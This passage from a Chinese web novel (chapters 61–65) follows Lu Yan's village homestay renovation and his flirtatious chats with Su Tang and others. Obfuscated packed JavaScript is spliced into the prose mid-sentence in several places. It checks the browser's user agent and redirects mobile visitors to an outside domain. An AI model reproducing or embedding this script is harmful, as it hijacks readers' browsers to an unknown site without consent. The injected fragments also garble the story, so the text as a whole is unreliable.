不过说起考公,她这一路走来,简直可以称作考公避坑指南: 前期有名校选调的机会,没有尽力争取;中期有定向培养计划,也没报名。 全然抛弃了自己名校学生的优势,拖到几乎火烧眉毛的地步,才不紧不慢地开始第一轮学习。 对,是学习而非复习。 像她这样的选手,通常会被归类为‘投机党’,意在用最小的成本博最大的果实。 考公在很多人嘴里是件有点‘玄学’的事。 网络上流传着一种说法:不管你复习得多认真,没那个命,就是很难脱颖而出。 苏棠听进去了,遂选择临时抱佛脚。 此时,她已经在图书馆桌前坐了整整四个小时,在这四个小时里,对面那位考研的小姐姐只起身去过一次洗手间,苏棠光是看着,都觉得辛苦。 所以,上学的意义到底是什么呢?读完研最终不也要就业? 那还不如直接考公。 可考公的意义又是什么? 噢,差点忘了自己的初心——考公,是为了躺平啊! 她对物质生活并没有太高的要求,觉得活着就行,正是抱着这样的心态,当年毅然选择了名牌大学中的冷门专业,一路躺到大四临近毕业。 虽然眼下需要短暂的辛苦一阵,但只要一想到未来长达几十年的安稳日子,似乎就又有了动...... 诶? 她突然,好像、并没有那么向往一眼望到头的安稳了。 似乎就是从上次偷偷跑去震泽镇开始,莫名有点迷恋那种风景在不断转换间带来的新鲜与刺激...... 明亮的图书馆内不时传来书页翻动的沙沙声,周遭的人都沉浸在紧张的复习中,唯有苏棠托着腮,眼神逐渐飘远。 她沉吟了一会儿,拿起手机看一眼自己的小金库—— 七万五千零三十一块。 金钱是魔鬼,魔鬼在耳边低语: 要不......先出去玩几天,再回来学习? 第六十一章 露一点 “语棠,你要当一个有腔调的人,才能镇得住场面。” 一天高强度的工作结束后,陆砚决定也给沈语棠上上强度——当然不是拿她撒气,是真心想教她点东西。 此刻的他自己也经不起冗长的催眠式授课,于是决定开门见山。 两人隔着一架缂丝织机,她端正坐直身子:“陆哥,你说。” “要我说,咱们要用最短、最简单的句子,把复杂的事讲清楚、一句顶一万句,这才叫有腔调。” 说完,陆砚没卖关子,直接亲身示范: “就好比有人要开一个‘古建修复工程公司’——你肯定不了解,对吧?如果我要把整个流程讲清楚,我会说——拿执照、申资质、开税务、接项目。 这样说的好处是,听的人一下子就能抓住主干,等他哪里不清楚,咱们再展开细说。” 这就好比小学作文老师教的‘总—分’结构,先把框架立住,再往里填肉。 然而对面的小姑娘眼神里透出些许茫然。 陆砚心里有些纳闷:难道我一句话没讲明白? 事实上,他又怎么会完全理解沈语棠此时的感受——就像懒洋洋精心准备了一个青草蛋糕,结果对面要吃火锅...... 心细多虑的人,向来不适应快言快语的即时反馈。 “语棠,咱们不急......这样,我来问问题,你来解答,怎么样?” ...... 长夜漫漫,无心睡眠。 尤其是走廊上舍友给男朋友打视频电话的撒娇声隐约传来,作为火气旺盛的年轻女人,苏棠哪有心思做自己的事呢? 她稍作收拾之后带着耳机、踩着拖鞋、躲开人群、一个人闯进十二月的夜色中,拨通视频电话—— 现在她已经蜕变了,不再是曾经超有边界感的性感女大,而是混熟之后变得超粘人的小猫,嘻嘻。 “喂,陆砚。” 此时的陆砚刚把自闭边缘的沈语棠‘哄’好,亦是一个人站在路边田埂吹风。 “好啊苏棠,就是你传的谣言是吧?什么我受伤跑路了?” 男人咧着嘴,突然发现对面的女孩越看越顺眼了,不仅眉眼透着女人风情,连声音所能承载的遐想空间,好像也随时间推移、被激发出来了。 这个阶段,两人的对话无疑是享受的。 “那你不是跑了是什么呢?你还没请我吃饭呢。” 她的脑子里回放着那天,这个男人突然闯进小酒馆,极其敷衍的打了声招呼就把顾南乔领走了。 好在顾南乔有一层杨老师闺蜜的身份,不然,她怀疑那两人当天大概率不会回家...... “请你吃饭还没到时候呢,我是工作回的上海,又不是来玩的......你论文写得顺利吗?不会毕不了业吧?” 对面抛来了个极其幼稚、浅薄的嘲讽,可在两情相悦的对话中,无疑是成功打开聊天的钥匙: “论文......嘿嘿,我应该写得挺烂的,带我的老师每次都皱眉说,‘杨老师这也能让你过关’?” 她笑得人畜无害,接触久了陆砚当然知道对方是个十足的腹黑,若不是可爱的外表拯救了人品,性格打分绝对可以评为‘恶劣’这一档。 不知怎的,他开始适应这一套了,对面偶尔做些无伤大雅的恶作剧,挺有意思的。 “你就扯着虎皮招摇吧,杨老头一点......” 不对啊! 杨老头是自己的老师,跟苏棠有什么关系? 陆砚看着屏幕,屏幕里的女人也目不转睛看着他,手里不断摆弄摄像头角度,无死角展示自己的脸。 “苏棠,你和杨灵,还有联系啊。” 苏棠正痴迷屏幕中自己绝美的容颜,知道此时才意识到说漏了嘴。 为什么,要和暧昧对象聊天时,聊他同样绝美的前女友呢! “哼,美女之间的事你少打听!” “别介啊,她是不是在指导你写毕业论文?你们应该聊得挺频繁吧?” 对面的男人有点着急,其实她也着急。 甚至对面越急,这边也会随之更急。 怎么办怎么办,话题叉不开了......今天有什么事可以讲?桌对面久坐四个小时的考研小姐姐?还是说一点寝室里的荤段子?男人不都喜欢颜色话题吗......要不,不经意漏个腿? “内个,今天天气不错。” 人人笑她不争气,偏偏她自己还最好笑——高速运转的大脑怎么才能不出故障啊喂! “别打岔,美女......你想想,咱们之间的交情有什么不能讲的,又不是背后说人坏话!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283978|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵,要真是背后说坏话倒也能听听! “不好吧,这毕竟是杨老师的隐私。” 对面似乎被说动,口吻轻了些,此时的声线格外具有蛊惑性,“稍微透露一点,就露一点。” “好吧......” “......喂,喂!你脱外套干嘛?你漏的......” ...... 震泽镇的改装版三人单间此时躺了两个人,好巧不巧,这两人还是师徒关系。 其中徒弟说:“咱们是不是该熄灯睡了。” 师傅听完不屑一笑:“熄灯?熄灯了也只是你的伪装,别以为我不知道你天天晚上在捣鼓什么。” 这话难听,冯小军顿时不乐意了:“张哥,熄灯恰恰是为了尊重你,不然别怪我展示**的一面。” 他冯小军虽然天天熬夜,可不管是白天干活、晚上出力都是没落下的,生活规律且健康,岂能贸然打破? “陆哥还没回呢,等到十二点再关灯。” “行吧。” 对面也有理有据,冯小军当即把原则退让了一步。 不过此时既做不了隐秘的事,又没兴趣打游戏,突然静下来的心倒是有些感慨。 他想到了很多: 这段时间自己学了哪些东西、搞砸了哪些事情、未来的就业,还有......毕业论文。 他乃乃的,学校的事情感觉变得好遥远。 “张哥,咱们这个项目要什么时候完工?” 张野在被子里抓了抓,仰着脑袋想了想:“快点一个多星期,慢点俩星期吧......后头五天瓷砖吊顶一搞完就差不多了。” 不知不觉已经到了‘就差不多了’的节点,冯小军翻了个身,二十一天养成的习惯驱使着离别之际、他心里有点不舍。 事实上震泽镇有什么好舍不得的呢? 没有好玩的,没有繁华的,老板娘还爱占他的劳动力,也就沈语棠小妹妹还,挺养眼。 冯小军听见门外的脚步——陆砚回来了,于是趁机调侃道: “张哥,等翻过年来,我肯定要来这住几天的,到时候你不会成男老板了吧?” “什么老板?” “陆哥,你问张哥咯!” 两人视线望过去,张野笑呵呵地在被子里抓了一把,把灯关了。 第六十二章 法务大哥 冬日温和的阳光洒满阳台,陆砚缓缓睁开眼。 一想到今天又要去说服沈秀娥尽快敲定最终方案,他就恨不得把眼睛再闭回去...... 为了省钱几乎绞尽了脑汁,可钱依旧难挣,尤其是在一群都不宽裕的人互相争夺有限利益的时候。 有一瞬间,他甚至想过干脆彻底商业化糊弄过去算了,可偏偏对方还指着申请非遗补贴,多少得做出点文化效果来。 所以生活就是这么爱捉弄——你做古建项目、讲文化原则,放下原则就能赚得盆满钵满;可当你做经济项目、没啥文化包袱,原则也就不值钱了。 就好像你是个脸皮薄的小姑娘,走哪儿都免不了被现实调戏似的。 算了、起床吧,反正旁边的呼噜声也震得人睡不着。 洗漱时,他开始复盘昨天: 验收了前期工程,跑了一趟建材市场采购,今天则要早起去南浦浜村的王师傅那儿看看木雕进度,回来再贴一部分瓷砖...... 最重要的是,必须把最终效果方案定下来。 时间就像海绵里的水,他一边刷牙一边给苏棠发消息,让她赶紧把和杨灵沟通的邮件发来;吃早餐时又成功逗笑了沈语棠两次。 一切顺顺利利之后,他才悠哉出门,前往南浦浜村。 ...... 若江南水乡多为青瓦白墙,那南浦浜村就多了一抹颜色,青瓦白墙上糊着黄泥巴。 村子静卧晨雾中,稀薄的阳光穿过枯黄田野,鸡鸣犬吠声里,陆砚在村口再次撞见赵老汉。 对方裹着半旧藏蓝色棉袄,正揣着手蹲在田埂边发呆,见到陆砚也只掀了掀眼皮,不像往日那般热络。 看来生活并非只偏爱自己,每个人都有亟待解决的课题。 他没多在意,点头打了个招呼便往王师傅的工作坊去。 老旧的木门、歪歪扭扭的‘蚕’字,与以往不同的是屋内多了三个年轻学徒,正低头打磨工件—— 手边从500到2000目的砂纸散了一堆,砂纸蹭过竹面,露出竹料本身的浅棕纹路,磨到尖部,便特意把砂纸折成小角,轻轻蹭尖部的棱角。 陆砚进来没做声,先检查工艺品成色、确认赶得上交货时间,才和一边和王师傅闲聊。 “陆师傅,有钱大家赚,团结力量大。” 一聊便得知,老人想靠自己的手艺带动村里经济。 这事有个响亮的名头叫‘乡村振兴’,可真正做起来却没那么简单。 难得的是,王师傅聊起这话头却出奇地有谈兴,他捋着并不存在的长须,一本正经地畅想: “我盘算着,村里送孩子来学,我负责教,每家教点不一样的—— 雕花,榫卯,大漆,一家学一样......将来既能合作做件大东西,又不会互相抢饭碗,多好!” 陆砚听明白了——这哪是乡村振兴,这分明是老师傅的‘管理学实践’: 三大绝技分传三位弟子,既不至于青出于蓝,又能让徒弟们服管教、相处和睦恭敬,妙啊! ......最近也不知怎么了,看什么事都不自觉带点管理视角......说不定人家王师傅是真怀着一颗振兴乡村的赤子之心呢? “王师傅,有手艺是不错,可有了手艺也不一定有经济啊,”他忍不住提醒,“东西得卖得出去才行。他们又不是非遗传承人,光会做,不会卖,怎么办?” 说到这儿,王师傅侃侃而谈的劲头戛然而止,他挥了挥手,像是突然被现实泼了盆冷水,含糊地嘟囔了句: “再说,再说......忙正事先。” 便转身抄起刨子,埋头干起活来。 ...... 出了王师傅的工作间,苏棠才回消息: 再睡五分钟:晚上你吵我就算了,怎么大早上也不安生呢,又被你吵醒了(美女叹气.jpg)。 我吵你? 知不知道昨天你脱了件衣服、我大半夜没睡着觉? 南浦浜村风景优美,陆砚选择做一个心平气和的人—— 墨斗先生:美女,苏小姐,行个方便,邮箱给我世界就安静了。 再睡五分钟:你这样喊我,让我觉得你是街上来搭讪的,而且搭讪手段还不怎么高明。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289218|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >墨斗先生:林黛玉,苏妹妹,下次见面肯定带你吃大餐。 再睡五分钟:(语音)你说什么,我听不见。 话筒里,是融合了矫揉造作的小人得志和女性妩媚勾人的声音,大清早的,叫人情不自禁地想把对面的小姑娘按床上揍一顿。 陆砚忍了忍,还是按下语音键,口述了一遍。 正在这时,又有新的消息传来,才一会,就刷了十几条走了。 【办证交流群(3)】 我系统呢:坦克里是没有后视镜的,枪炮是不长眼的,黑哥们的语言是不通的。 小黑:你让坦克压过吗? 我系统呢:贵司的代办员就这样的素质?忙一半说要加钱,拒绝你之后就恼羞成怒? 小黑:那咋啦? 我系统呢:合同白纸黑字,你额外收费属于违规操作。 小黑:那咋啦? 小黑:那咋啦? 陆砚心下一惊,怎么吵起来了? 网上翻了翻,才发现原因竟是小黑要加五百块,顾南乔觉得不合理...... 小黑的愤怒或许是——人家出钱的都没说话,你一个群友那么积极干嘛? 而且顾南乔的头像比较男性化、朋友圈也没自拍,被认成男人不例外。 至于顾南乔的维护......她知道自己的经济状况,想帮忙省钱的心也能理解...... 墨斗先生:兄弟们,别吵先,小黑你先说说你遇到的困难,咱们一起解决。 小黑:老板,我们要不私聊吧,这哥们闲得蛋疼跟我搭话,我都不知道、老板没发言,你急个什么劲@我系统呢 我系统呢:说好的价格你临时加钱,还不让说了? 小黑:那咋啦? 我系统呢:你是不是就会一句话?你真被坦克压过了? 眼看双方打字手速开始飙升,陆砚觉得用简单的手段怕是难以劝服—— ‘群主已将群名修改为【法务、老板和代购】’ 小黑:那咋啦? 下一秒,‘小黑撤回一条消息’。 小黑:法务大哥,你不早说你是律师啊......都误会。 第六十三章 破防转换 陈禹送来的瓷砖里,连卫生间和墙壁用的白砖都涵盖了,这是交情。 用不同方式解释了两三遍,沈秀娥仍变着法儿想让他从自己腰包里多掏钱,这是生意。 陆砚不是没想过干脆独断专行,直接选个方案施工了事,情绪上头时,也不是没动过甩脸色、大声争执的念头—— 可相处近一个月,吵也吵过,彼此的性子都已摸得差不多了,还能怎样呢? 他时常觉得自己像被蛛网缠住的飞虫,良心和面子就是翅膀,若不舍弃其中一样,恐怕难以应对这市井妇人。 “沈姐,真不能既要又要。我按补贴标准给你做装修,还让你有的选,已经尽力了。难不成要我把车卖了贴给你?还是你打算把家里什么东西当了,再多花点?” 沈秀娥沉默不语,转身进了灶房烧水做饭——眼看快到饭点,不出十分钟,沈语棠也该回来了。 陆砚始终想不通,为什么老板娘总把别人当傻子糊弄? 当初说好只选一套方案,如今却动辄反悔......她是觉得动动嘴皮子就能让男人往外爆金币? 还是认定在这世上只要会闹、不讲道理,就能讨到便宜? 推门走到屋外透了口气。 眼前是无法供两辆车同时错开的窄路,窄路边,黑泥被碾成了黄色的灰铺在上面。 就是在这偏得不能再偏的地方,就是对着这几乎赚不到什么钱的项目,他却感到一种前所未有的疲惫。 之后还要开公司。 杨老头虽肯给资源,却不可能手把手带,现在一个没多少文化的妇人就把人气得够呛,等真拉起队伍,他能应付得来吗? 正当制定晚上的学习计划时,沈语棠从路边缓缓出现——这是第一次看见她从外面回来,原来平时都是坐农户的三轮车去的镇上。 “轰轰轰——” 柴油三轮喘着粗气驶近,开车的是个皮肤黝黑的中年汉子,事实上南浦浜村的男人没一个白的。 沈语棠老远就从车斗里站起身,扶着栏杆朝这边挥手,陆砚看得清楚——她望过来,笑得特别开心。 也许只有隔得足够远,小姑娘才会这样毫无遮掩地看过来、笑出来。 她那极淡的眉眼一旦真心笑起来,竟纯洁得让陆砚暗下决心: 永远不在她面前说沈秀娥半句不是。 车子‘突突’刹停,陆砚刚站起身,开车的中年汉子就咧着嘴开口: “都说沈秀娥招了个女婿,我瞅着是不赖!” 陆砚笑笑没接话,沈语棠也没应调侃,只低头道了谢,快步走过来,和他一同往屋里走。 “你知不知,你站在他们旁边的时候,白得像外国人。” 这不是说村民太黑,实在是她出落得亮眼。 事实上他认识的几个女孩都白,却各有不同—— 杨灵是肤质莹润的健康白;顾南乔是近乎病态的冷白,贫血似的;苏棠则带着婴儿肥,瓷娃娃一般...... 而眼前这一位,像无意间落在黑泥土上的一片新雪。 “陆哥,”她小声回应,“你站他们旁边,你也白。” 就像看见毛茸茸的小动物总想伸手揉一揉,陆砚强忍住摸她脑袋的冲动,两人一前一后走进厅里。 桌上已上了一道菜,张野和冯小军坐在那儿,两人像饿了好几顿,目光发直地盯着菜盘,直到沈语棠打招呼,才回过神来憨笑...... 陆砚忽然觉得,老板娘平时不愿上桌吃饭,或许真是个不错的习惯,不然刚吵完一架还要坐在一起,这饭吃着得多噎人。 ...... 管理学......暂时用不着。 公司的核心位置都该是杨老头的资源,人家估计也就挂个名,能不能看见**都说不准,真干起项目来,还得靠自己的原班人马。 公司法......一会儿问问顾南乔懂不懂,她要是会,以后或许真能聘她当法务。 代办有小黑操心,听说全套证件批下来得两个月。 那现在......自己还能学点啥? 贴了大半个下午瓷砖的陆砚,本想换换脑子、学点新东西应对将来的挑战,却没想第一个难题来得如此突然——到底该学什么? 正漫无目的刷着手机视频,突然想起苏棠还没把邮箱发过来......罢了,学习是持久战,来日方长才能出成果。 墨斗先生:苏妹妹,邮箱您倒是发一下呀! 他本没指望对方立刻回复,正想继续找资料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291406|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,屏幕却倏地亮了—— 再睡五分钟:凶我? 再睡五分钟:你一口一个妹妹,截图看看,给我的备注是什么(让我看看.jpg)? 墨斗先生:喂,好歹是你学长,我也不是什么变态,问问前女友邮箱你干嘛百般阻挠?暗恋我? 消息一发出去,陆砚秒切静音,起身就往外溜。 果然,刚走到前台,视频通话的请求就震了起来。 “陆哥......” “语棠啊,你先组织一下语言,等会儿我来检查!”他匆匆撂下一句,脚下没停。 等出门五步远的时候,接通。 “陆砚你是不是疯了?不给就是暗恋?你没杨老师微信吗?杨老师都不搭理你了,**嘛要跟她作对?!” 如果有张图能叫《棠の破防》,此刻苏棠气鼓鼓的脸再合适不过。 “苏棠,苏妹妹,你就当帮个忙,算我欠你个人情,行不?” 他压着笑意,声音放缓,像在给一只炸毛的卡皮巴拉顺**——众所周知,卡皮巴拉就算暴怒也不伤人。 屏幕那端,她的脸占了大半画面,下方能瞥见书包肩带,一本正经地问: “人情?你的人情有什么用?我能提要求吗?” “可以啊,别太过分就行。” “喂!你这不就是空头支票吗!小事用不着人情,大事你又不答应,人情太廉价了,陆砚。” 他仔细一想,好像真是这么回事——只不过,什么叫‘小事用不到人情’,这丫头哪来这么足的底气啊! “好啦,很急的,你别钓了,我快成翘嘴了。” 要不是看在对面好歹算人美声甜、又有几分交情的份上,他这种伟丈夫早撂电话了。 婆婆妈妈、啰啰嗦嗦,一点也不爷们! 对面装模作样地沉吟了一会儿,终于开口: “叫姐姐。叫了我就答应你。” “...” ...... 平心而论,今天他确实有点欺负人了。 更让他过意不去的是,自己被苏棠惹出一肚子火,转头却全撒在了沈语棠身上。 当然—— 没骂她,也没说什么重话。 只是教学......稍微严厉了那么一点。 第六十四章 破窗效应实操 根据**‘统筹法’,烧一壶水的时间足以顺手洗净茶盘、再削个苹果——总时长不变,效率却大大提高。 陆砚把这一套用在了工作上: 客厅做木作的同时,客房贴壁纸,卫生间铺瓷砖。 细心的读者或许会问:一起干不是更快吗? 事实上,冯小军和张野根本做不了精细木工,分头推进才是最快的选择。 此刻,他正在一楼大厅搭吊顶框架,结构普普通通,但他顺手在不费多少功夫的地方,按非遗木作的标准,做了几处榫卯衔接。 这种不额外花钱、却能提升品质的细节,他从不吝啬——这是交情。 但诚意最好得让对方看见—— 陆砚踩在梯子上,侧身往下一瞥,正好看见沈秀娥从后门出来。 “陆师傅,你还会敲木头呢!” 我会敲木头不是一开始就说了? 有一点陆砚挺佩服她:无论头天吵成什么样,第二天她总能像没事人一样热络。 不知该说是成熟还是健忘,但这种‘翻篇’速度,对眼下倒是好事。 “我本就是木匠出身......给您这儿留几处真榫卯,就是底蕴。将来识货的客人看了,准会夸。” 这话有点自卖自夸,可万一真遇上痴迷传统工艺的客人呢? 陆砚手握凿刀,手腕稳而轻快地推削榫眼,木屑簌簌而落,又拿起锯子精准修整榫头,动作干净利落。 沈秀娥在底下站了一会儿,忽然轻声说: “小陆,不是沈姐为难你。我们是辛苦人家,过日子图个实在,没读过书,见识也不如你们……” 话到这儿,陆砚哪还有脾气?他立马从梯子上下来,一时不知该怎么接。 其实大多数男人都这样:对方只要语气软三分、话说得客气,他们往往就愿意退一步——说白了,吃软不吃硬。 更何况陆砚本来也不算年纪多大,见识......也未必多广,哪经得住这番‘人间疾苦’的倾诉? “小陆,我想通了。我是外行,装修的事......你们凑合着来吧。” 陆砚愣了一下,心里涌上的不是惊喜,反而有点不是滋味,甚至宁愿对方是在用软刀子,哪怕趁机提点要求也好。 “沈姐,我们也就是过来过渡一下年前这段时间,不是指着这儿赚大钱的。放心吧,装修的活我们一定尽心,绝不比别人差。” “你做事,我放心……” 她眼角挤出细密的褶子,让陆砚心里稍微好受了点。 不料......下一秒,软刀子还是来了: “听说现在家具也贵......之后你要是有空,能不能帮忙打张桌子椅子呢?” 无语,几乎是陆砚此刻的母语。 他脸上有点僵,脑子里飞快盘算: 如果装修选个简单样式,省下的钱或许够他打张桌子......但工时费从哪出?更何况—— “我没工具啊。打桌子可不是光靠几个榫卯就行的,得有大家伙。” 沈秀娥仿佛就等这句,立刻接话:“没事!王师傅那儿什么都有,我去帮你说说,他肯定不收你钱!” “...” ...... 没有一位律师能够精通所有的法律法条,甚至往往只需深耕某一特定领域,就能获得相当不错的收入—— 这足以说明,真正吃透某一类法律是多么困难。 也因此,当顾南乔干脆利落地应下陆砚的邀请时,她其实已默默预支了未来大量填补知识空缺的精力。 外行人陆砚天真地以为,律师就像木匠,能做家具的改做工艺品也不在话下; 而内行人顾南乔偏偏还表现得云淡风轻,不经意间成全了这种美丽的误解。 她对他说,‘好巧,我懂一点公司法’。 他便顺理成章抛出橄榄枝,‘那以后你来帮我公司吧’。 这就像‘女演员按照角色要求拼命减肥,结果正好被选角导演撞见,当场邀约’一样,都是看似一拍即合的缘分。 她答应得是有些冲动,却也不是完全信口开河。至少,坐在她旁边的叶莉就是真正的公司法专家,而且…… 虽然不清楚背后推动的人是谁,但顾南乔能感觉到,叶莉确实在默默为她护航,是自己人,那么厚着脸皮凑上去请教,或许有机会得到指点。 “叶律师,信托资金流向的初步复核我做完了。” 她仰起脸,试图从对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297698|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情中捕捉一丝赞许的痕迹——只要有一点点肯定,她就敢顺势邀请对方共进晚餐、再自然地带出请教的话题。 “嗯,下班放我桌上就行。” 结果叶莉头也没抬。 顾南乔凝视了她两秒,正想再找个话头试探,叶莉却先开口了: “别闲着。再去把‘集体信托受益权份额明细核对’做一遍,明天上午要跟我去现场开业主讨论会。” 顾南乔嘴唇动了动,那句快到嘴边的‘叶姐,要不一起吃晚饭’终究还是咽了回去。 她只是轻声应道: “好。” ...... 事物都有两面性,木桌的正面要刷蜡油,反面则涂防潮剂。 陆砚还是妥协了。 直到裁切桌面基材时,他才回过味来——老板娘这手‘声东击西’玩得实在巧妙。 先是以无理取闹的姿态抛出个难题,再故作退让、换一个小要求,最终稳稳达成她占便宜的目的。 鲁迅先生说过,人的性情总是折中的,你说要拆屋顶,他们便同意开窗了,老板娘把这‘天窗效应’可谓用得炉火纯青。 此刻,他混在王师傅的学徒中间,一同卖力地推拉着锯子。看架势,倒像个熟练的优等生——年纪明显大了些。 “陆师傅,你要是想拜师,我也可以收的。” 王师傅虽一把年纪,笑眯眯的神情里却总透着一股孩童般的趣致。 陆砚并不介意这善意的调侃,当即回应: “我已经拜过师了,我师父手艺好得没话说。” 王师傅一听,反倒像是真入了戏,故意摆出抢徒弟的架势: “你师父在上海很有名?他是做什么的?” 陆砚没再接话。 在他心里,杨启文是极为敬重的长辈,不该沦为闲谈间的谈资,更不愿其名号被随意掂量。 他下意识收敛了笑意,心中掠过一丝不容轻慢的维护——暗想: 杨老头是何等人物?他是半退休之身仍能被同济请去讲课的名誉教授,是即将成立公司的行业前辈,你若知晓他的分量,只怕还得求着他帮忙卖你们的工艺品…… 等等! 有机会的话……说不定,真可以。 第六十五章 邪恶的计划 自从接受‘自己可能真要干一番事业’这个设定之后,陆砚看什么都像商机,路边一丛狗尾巴草,都能琢磨出三分经营之道,更何况是眼前这些实实在在的古建手工艺品? 用他那不算科班、但传承了几千年的朴素商业思维来看,低买高卖的基础条件显然是具备的—— 南浦浜村俨然就是个还没被发掘的资源宝库。 准确的说,这资源现在还只是个雏形。 毕竟是蚕桑之乡,并非手工艺之乡,村里农户大多也就编些竹筐、簸箕之类的日用品,质量参差不齐,并没个标准。 若真想建立起长期稳定的供应关系,至少得有个人出面整合资源、形成合力,再谈后面的事。 何况他自己那边也八字还没一撇......纯属脑内自嗨了。 木料暂且寄放在王师傅那儿,他顶着午后温和的日头,沿渐渐收窄的村路往回走,老远就看见冯小军蹲在路边,像颗被人随手丢下的石头。 步子不紧不慢,心情也如这脚步一般松散—— 来这儿有些时日了,虽说睡得越来越近,却好像从没关心过张野和这小子平时是怎么过的。 这不,孩子搁浅路边、都无聊成守村人了。 “小军哥,搁这儿面朝黄土……思念故乡呢?” 顺带一提,冯小军是甘肃人,为读大学几乎横跨了整个中国。 对方没被吓一跳,也没故作夸张,反而罕见地一脸严肃抬起头: “陆哥,有个问题,我想好几天了。” 当有人特意蹲在你的必经之路、郑重说‘有个问题想不通’的时候,大概率不是什么好事,而且与你有关。 陆砚脑子里迅速过了一遍最近的事...... 难道单独给语棠带礼物的事暴露了? 冯小军蹲着,他站着; 无声的舞台已然搭好,只等好戏开场。 “说吧,我听听。” “如果,你老婆......和别人在酒店待了一夜,但其实他们啥也没发生......” “停停!” 你表情严肃得像我真有老婆似的......搞半天你就琢磨这个? 他松了口气,赶紧纠正:“是你老婆,用你老婆举例。” “哎,反正事实上啥也没发生......陆哥,你说这时候,是‘事实本身’重要,还是‘你觉得他们没发生’更重要?” 乍一看有点绕,用耳朵听更绕。 ‘事实上没发生’和‘我觉得没发生’哪个重要?这是哪个天才想出来的无聊问题? “咳咳,再纠正一次,是你老婆。” 他笃定不管答什么,这小子都备好了后话,于是果断选择胡乱打岔。 “陆哥,细思极恐啊,你认真点!” “...” 后面冯小军说,‘如果你觉得他们发生了,那没发生也是发生了;如果你觉得没有,那发生了也是没有’。 陆砚头一回觉得这年轻人的思想有些直逼人心的深邃,便问他何来的感想—— 他说,一个追读的小说作者把男主写成龟男了,他道心破碎之际有感而发。 ...... 现在的问题是,给还是不给,真给还是假给。 光线穿过层层书架,苏棠在宛如艺术展的同济图书馆继续学习考公知识,思绪却留在昨天—— 昨天那声‘姐姐’之后,她使出缓兵之计,硬是拖了两天。 此刻,一个邪恶的计划正在脑中疯狂滋生——哪怕身处这样窗明几净、充满理性光辉的地方,她一想到那个画面,嘴角也差点抑制不住地上扬,差点发出‘桀桀桀’的笑声。 她用笔在草稿纸的角落画了三个歪歪扭扭的圈,分别代表陆砚、苏棠和杨灵。 没错,自己成了他们的中间人。 看着这个简陋的示意图,她仿佛看到了一个绝妙的三角信息流: 注册一个海外邮箱发给陆砚,就能每天窥探他那些见不得光的小心思;再用另一个匿名邮箱,冒充陆砚,把那些心思原封不动地转发给杨老师...... 这样,她岂不是每天都能和那个美得不像话的女人谈恋爱了? 笔尖无意识地在‘苏棠’和‘杨灵’之间来回描画,试图加深那条双向的、隐秘的链接。 怎么办?要不要干票大的? 她心里清楚,自己断然没那个胆子真去实施,可这念头像‘身处无人知晓的黑夜,脚边突然出现一沓无人认领的五百万’,总让人忍不住往‘富贵险中求’的方向幻想。 再说了,之前她从没一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297699|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人出去旅行过,上次试了试,不也挺开心的吗? 只要不被发现......只要不被发现...... 思绪戛然而止,笔尖猛地顿在纸上——要是被发现了呢? 一股冰冷的战栗毫无征兆地窜过后背,她蓦地打了个寒颤。 ...... 两天功夫,三个卫生间的瓷砖已经贴得妥妥当当,明天预计能把客房的墙纸搞定,再花两三天完成所有瓷砖铺设,基础的装修工程也就完成了七成。 民宿不用刷漆,倒是省了不少工序和开销,王师傅那边的木工活也接近收尾...... 陆砚心里盘算着:再加把劲,争取一周内全部完工! 晚饭桌上,原班人马,今天也是按部就班收工的一天。 